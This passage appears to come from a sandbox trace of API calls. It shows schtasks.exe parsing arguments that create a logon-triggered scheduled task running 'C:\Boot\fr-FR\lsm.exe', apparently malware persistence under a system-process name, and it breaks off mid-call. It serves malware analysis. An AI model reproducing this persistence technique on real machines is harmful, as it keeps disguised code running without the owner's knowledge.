[0083.759] lstrlenW (lpString="-/") returned 2 [0083.759] StrChrIW (lpStart="-/", wMatch=0x6c) returned 0x0 [0083.759] SetLastError (dwErrCode=0x490) [0083.759] SetLastError (dwErrCode=0x490) [0083.759] SetLastError (dwErrCode=0x0) [0083.759] lstrlenW (lpString="lsm") returned 3 [0083.759] StrChrIW (lpStart="lsm", wMatch=0x3a) returned 0x0 [0083.759] SetLastError (dwErrCode=0x490) [0083.759] SetLastError (dwErrCode=0x0) [0083.759] lstrlenW (lpString="lsm") returned 3 [0083.759] SetLastError (dwErrCode=0x0) [0083.759] SetLastError (dwErrCode=0x0) [0083.759] lstrlenW (lpString="/sc") returned 3 [0083.760] lstrlenW (lpString="-/") returned 2 [0083.760] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.760] lstrlenW (lpString="create") returned 6 [0083.760] lstrlenW (lpString="create") returned 6 [0083.760] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.760] lstrlenW (lpString="sc") returned 2 [0083.760] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.760] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.760] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.760] lstrlenW (lpString="|create|") returned 8 [0083.760] lstrlenW (lpString="|sc|") returned 4 [0083.760] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0083.760] SetLastError (dwErrCode=0x490) [0083.760] lstrlenW (lpString="?") returned 1 [0083.760] lstrlenW (lpString="?") returned 1 [0083.760] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.760] lstrlenW (lpString="sc") returned 2 [0083.760] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.760] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|?|") returned 3 [0083.760] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.760] lstrlenW (lpString="|?|") returned 3 [0083.760] lstrlenW (lpString="|sc|") returned 4 [0083.760] SetLastError (dwErrCode=0x490) [0083.761] lstrlenW (lpString="s") returned 1 [0083.761] lstrlenW (lpString="s") returned 1 [0083.761] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.761] lstrlenW (lpString="sc") returned 2 [0083.761] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.761] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|s|") returned 3 [0083.761] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.761] lstrlenW (lpString="|s|") returned 3 [0083.761] lstrlenW (lpString="|sc|") returned 4 [0083.761] SetLastError (dwErrCode=0x490) [0083.761] lstrlenW (lpString="u") returned 1 [0083.761] lstrlenW (lpString="u") returned 1 [0083.761] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.761] lstrlenW (lpString="sc") returned 2 [0083.761] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.761] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|u|") returned 3 [0083.761] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.761] lstrlenW (lpString="|u|") returned 3 [0083.761] lstrlenW (lpString="|sc|") returned 4 [0083.761] SetLastError (dwErrCode=0x490) [0083.761] lstrlenW (lpString="p") returned 1 [0083.761] lstrlenW (lpString="p") returned 1 [0083.761] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.762] lstrlenW (lpString="sc") returned 2 [0083.762] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.762] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|p|") returned 3 [0083.762] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.762] lstrlenW (lpString="|p|") returned 3 [0083.762] lstrlenW (lpString="|sc|") returned 4 [0083.762] SetLastError (dwErrCode=0x490) [0083.762] lstrlenW (lpString="ru") returned 2 [0083.762] lstrlenW (lpString="ru") returned 2 [0083.762] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.762] lstrlenW (lpString="sc") returned 2 [0083.762] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.762] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ru|") returned 4 [0083.762] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.762] lstrlenW (lpString="|ru|") returned 4 [0083.762] lstrlenW (lpString="|sc|") returned 4 [0083.762] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0083.762] SetLastError (dwErrCode=0x490) [0083.762] lstrlenW (lpString="rp") returned 2 [0083.762] lstrlenW (lpString="rp") returned 2 [0083.762] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.762] lstrlenW (lpString="sc") returned 2 [0083.762] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.762] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rp|") returned 4 [0083.763] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.763] lstrlenW (lpString="|rp|") returned 4 [0083.763] lstrlenW (lpString="|sc|") returned 4 [0083.763] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0083.763] SetLastError (dwErrCode=0x490) [0083.763] lstrlenW (lpString="sc") returned 2 [0083.763] lstrlenW (lpString="sc") returned 2 [0083.763] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.763] lstrlenW (lpString="sc") returned 2 [0083.763] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.763] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.763] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.763] lstrlenW (lpString="|sc|") returned 4 [0083.763] lstrlenW (lpString="|sc|") returned 4 [0083.763] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0083.763] SetLastError (dwErrCode=0x0) [0083.763] SetLastError (dwErrCode=0x0) [0083.763] lstrlenW (lpString="ONLOGON") returned 7 [0083.763] lstrlenW (lpString="-/") returned 2 [0083.763] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0083.763] SetLastError (dwErrCode=0x490) [0083.763] SetLastError (dwErrCode=0x490) [0083.763] SetLastError (dwErrCode=0x0) [0083.763] lstrlenW (lpString="ONLOGON") returned 7 [0083.763] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0083.763] SetLastError (dwErrCode=0x490) [0083.764] SetLastError (dwErrCode=0x0) [0083.764] GetProcessHeap () returned 0x1b0000 [0083.764] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cd620 [0083.764] _memicmp (_Buf1=0x1cd620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.764] lstrlenW (lpString="ONLOGON") returned 7 [0083.764] GetProcessHeap () returned 0x1b0000 [0083.764] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x10) returned 0x1cd640 [0083.764] lstrlenW (lpString="ONLOGON") returned 7 [0083.764] lstrlenW (lpString=" \x09") returned 2 [0083.764] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0083.764] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0083.764] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0083.764] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0083.764] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0083.764] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0083.767] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0083.767] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0083.767] GetLastError () returned 0x0 [0083.767] lstrlenW (lpString="ONLOGON") returned 7 [0083.767] lstrlenW (lpString="ONLOGON") returned 7 [0083.767] SetLastError (dwErrCode=0x0) [0083.767] SetLastError (dwErrCode=0x0) [0083.767] lstrlenW (lpString="/tr") returned 3 [0083.768] lstrlenW (lpString="-/") returned 2 [0083.768] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.768] lstrlenW (lpString="create") returned 6 [0083.768] lstrlenW (lpString="create") returned 6 [0083.768] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.768] lstrlenW (lpString="tr") returned 2 [0083.768] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.768] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.768] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.768] lstrlenW (lpString="|create|") returned 8 [0083.768] lstrlenW (lpString="|tr|") returned 4 [0083.768] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0083.768] SetLastError (dwErrCode=0x490) [0083.768] lstrlenW (lpString="?") returned 1 [0083.768] lstrlenW (lpString="?") returned 1 [0083.768] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.768] lstrlenW (lpString="tr") returned 2 [0083.768] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.768] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|?|") returned 3 [0083.768] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.768] lstrlenW (lpString="|?|") returned 3 [0083.768] lstrlenW (lpString="|tr|") returned 4 [0083.768] SetLastError (dwErrCode=0x490) [0083.769] lstrlenW (lpString="s") returned 1 [0083.769] lstrlenW (lpString="s") returned 1 [0083.769] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.769] lstrlenW (lpString="tr") returned 2 [0083.769] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.769] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|s|") returned 3 [0083.769] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.769] lstrlenW (lpString="|s|") returned 3 [0083.769] lstrlenW (lpString="|tr|") returned 4 [0083.769] SetLastError (dwErrCode=0x490) [0083.769] lstrlenW (lpString="u") returned 1 [0083.769] lstrlenW (lpString="u") returned 1 [0083.769] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.769] lstrlenW (lpString="tr") returned 2 [0083.769] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.769] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|u|") returned 3 [0083.769] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.769] lstrlenW (lpString="|u|") returned 3 [0083.769] lstrlenW (lpString="|tr|") returned 4 [0083.769] SetLastError (dwErrCode=0x490) [0083.769] lstrlenW (lpString="p") returned 1 [0083.769] lstrlenW (lpString="p") returned 1 [0083.769] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.769] lstrlenW (lpString="tr") returned 2 [0083.769] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.770] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|p|") returned 3 [0083.770] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.770] lstrlenW (lpString="|p|") returned 3 [0083.770] lstrlenW (lpString="|tr|") returned 4 [0083.770] SetLastError (dwErrCode=0x490) [0083.770] lstrlenW (lpString="ru") returned 2 [0083.770] lstrlenW (lpString="ru") returned 2 [0083.770] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.770] lstrlenW (lpString="tr") returned 2 [0083.770] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.770] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ru|") returned 4 [0083.770] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.770] lstrlenW (lpString="|ru|") returned 4 [0083.770] lstrlenW (lpString="|tr|") returned 4 [0083.770] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0083.770] SetLastError (dwErrCode=0x490) [0083.770] lstrlenW (lpString="rp") returned 2 [0083.770] lstrlenW (lpString="rp") returned 2 [0083.770] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.770] lstrlenW (lpString="tr") returned 2 [0083.770] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.770] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rp|") returned 4 [0083.770] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.771] lstrlenW (lpString="|rp|") returned 4 [0083.771] lstrlenW (lpString="|tr|") returned 4 [0083.771] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0083.771] SetLastError (dwErrCode=0x490) [0083.771] lstrlenW (lpString="sc") returned 2 [0083.771] lstrlenW (lpString="sc") returned 2 [0083.771] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.771] lstrlenW (lpString="tr") returned 2 [0083.771] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.771] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.771] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.771] lstrlenW (lpString="|sc|") returned 4 [0083.771] lstrlenW (lpString="|tr|") returned 4 [0083.771] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0083.771] SetLastError (dwErrCode=0x490) [0083.771] lstrlenW (lpString="mo") returned 2 [0083.771] lstrlenW (lpString="mo") returned 2 [0083.771] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.771] lstrlenW (lpString="tr") returned 2 [0083.771] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.771] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|mo|") returned 4 [0083.771] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.771] lstrlenW (lpString="|mo|") returned 4 [0083.771] lstrlenW (lpString="|tr|") returned 4 [0083.772] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0083.772] SetLastError (dwErrCode=0x490) [0083.772] lstrlenW (lpString="d") returned 1 [0083.772] lstrlenW (lpString="d") returned 1 [0083.772] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.772] lstrlenW (lpString="tr") returned 2 [0083.772] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.772] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|d|") returned 3 [0083.772] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.772] lstrlenW (lpString="|d|") returned 3 [0083.772] lstrlenW (lpString="|tr|") returned 4 [0083.772] SetLastError (dwErrCode=0x490) [0083.772] lstrlenW (lpString="m") returned 1 [0083.772] lstrlenW (lpString="m") returned 1 [0083.772] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.772] lstrlenW (lpString="tr") returned 2 [0083.772] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.772] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|m|") returned 3 [0083.772] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.772] lstrlenW (lpString="|m|") returned 3 [0083.772] lstrlenW (lpString="|tr|") returned 4 [0083.772] SetLastError (dwErrCode=0x490) [0083.772] lstrlenW (lpString="i") returned 1 [0083.772] lstrlenW (lpString="i") returned 1 [0083.773] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.773] lstrlenW (lpString="tr") returned 2 [0083.773] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.773] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|i|") returned 3 [0083.773] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.773] lstrlenW (lpString="|i|") returned 3 [0083.773] lstrlenW (lpString="|tr|") returned 4 [0083.773] SetLastError (dwErrCode=0x490) [0083.773] lstrlenW (lpString="tn") returned 2 [0083.773] lstrlenW (lpString="tn") returned 2 [0083.773] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.773] lstrlenW (lpString="tr") returned 2 [0083.773] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.773] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.773] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.773] lstrlenW (lpString="|tn|") returned 4 [0083.773] lstrlenW (lpString="|tr|") returned 4 [0083.773] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0083.773] SetLastError (dwErrCode=0x490) [0083.773] lstrlenW (lpString="tr") returned 2 [0083.773] lstrlenW (lpString="tr") returned 2 [0083.773] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.773] lstrlenW (lpString="tr") returned 2 [0083.773] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.774] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.774] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.774] lstrlenW (lpString="|tr|") returned 4 [0083.774] lstrlenW (lpString="|tr|") returned 4 [0083.774] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0083.774] SetLastError (dwErrCode=0x0) [0083.774] SetLastError (dwErrCode=0x0) [0083.774] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.774] lstrlenW (lpString="-/") returned 2 [0083.774] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.774] SetLastError (dwErrCode=0x490) [0083.774] SetLastError (dwErrCode=0x490) [0083.774] SetLastError (dwErrCode=0x0) [0083.774] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.774] StrChrIW (lpStart="'C:\\Boot\\fr-FR\\lsm.exe'", wMatch=0x3a) returned=":\\Boot\\fr-FR\\lsm.exe'" [0083.774] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.774] _memicmp (_Buf1=0x1cc3d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.774] _memicmp (_Buf1=0x1cc410, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.774] SetLastError (dwErrCode=0x7a) [0083.774] SetLastError (dwErrCode=0x0) [0083.774] SetLastError (dwErrCode=0x0) [0083.774] lstrlenW (lpString="'C") returned 2 [0083.774] lstrlenW (lpString="-/") returned 2 [0083.774] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.774] SetLastError (dwErrCode=0x490) [0083.774] SetLastError (dwErrCode=0x490) [0083.775] SetLastError (dwErrCode=0x0) [0083.775] _memicmp (_Buf1=0x1cd620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.775] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.775] GetProcessHeap () returned 0x1b0000 [0083.775] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd640) returned 1 [0083.775] GetProcessHeap () returned 0x1b0000 [0083.775] RtlReAllocateHeap (Heap=0x1b0000, Flags=0xc, Ptr=0x1cd640, Size=0x30) returned 0x1c7c20 [0083.775] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.775] lstrlenW (lpString=" \x09") returned 2 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0083.775] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0083.776] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0083.776] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0083.776] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0083.776] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0083.776] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0083.776] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0083.776] GetLastError () returned 0x0 [0083.776] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.776] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.776] SetLastError (dwErrCode=0x0) [0083.776] SetLastError (dwErrCode=0x0) [0083.776] lstrlenW (lpString="/rl") returned 3 [0083.776] lstrlenW (lpString="-/") returned 2 [0083.776] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.776] lstrlenW (lpString="create") returned 6 [0083.776] lstrlenW (lpString="create") returned 6 [0083.776] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.776] lstrlenW (lpString="rl") returned 2 [0083.776] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.776] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.776] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.776] lstrlenW (lpString="|create|") returned 8 [0083.776] lstrlenW (lpString="|rl|") returned 4 [0083.776] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0083.776] SetLastError (dwErrCode=0x490) [0083.776] lstrlenW (lpString="?") returned 1 [0083.776] lstrlenW (lpString="?") returned 1 [0083.777] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.777] lstrlenW (lpString="rl") returned 2 [0083.777] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.777] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|?|") returned 3 [0083.777] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.777] lstrlenW (lpString="|?|") returned 3 [0083.777] lstrlenW (lpString="|rl|") returned 4 [0083.777] SetLastError (dwErrCode=0x490) [0083.777] lstrlenW (lpString="s") returned 1 [0083.777] lstrlenW (lpString="s") returned 1 [0083.777] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.777] lstrlenW (lpString="rl") returned 2 [0083.777] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.777] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|s|") returned 3 [0083.777] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.777] lstrlenW (lpString="|s|") returned 3 [0083.777] lstrlenW (lpString="|rl|") returned 4 [0083.777] SetLastError (dwErrCode=0x490) [0083.777] lstrlenW (lpString="u") returned 1 [0083.777] lstrlenW (lpString="u") returned 1 [0083.777] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.777] lstrlenW (lpString="rl") returned 2 [0083.777] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.778] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, 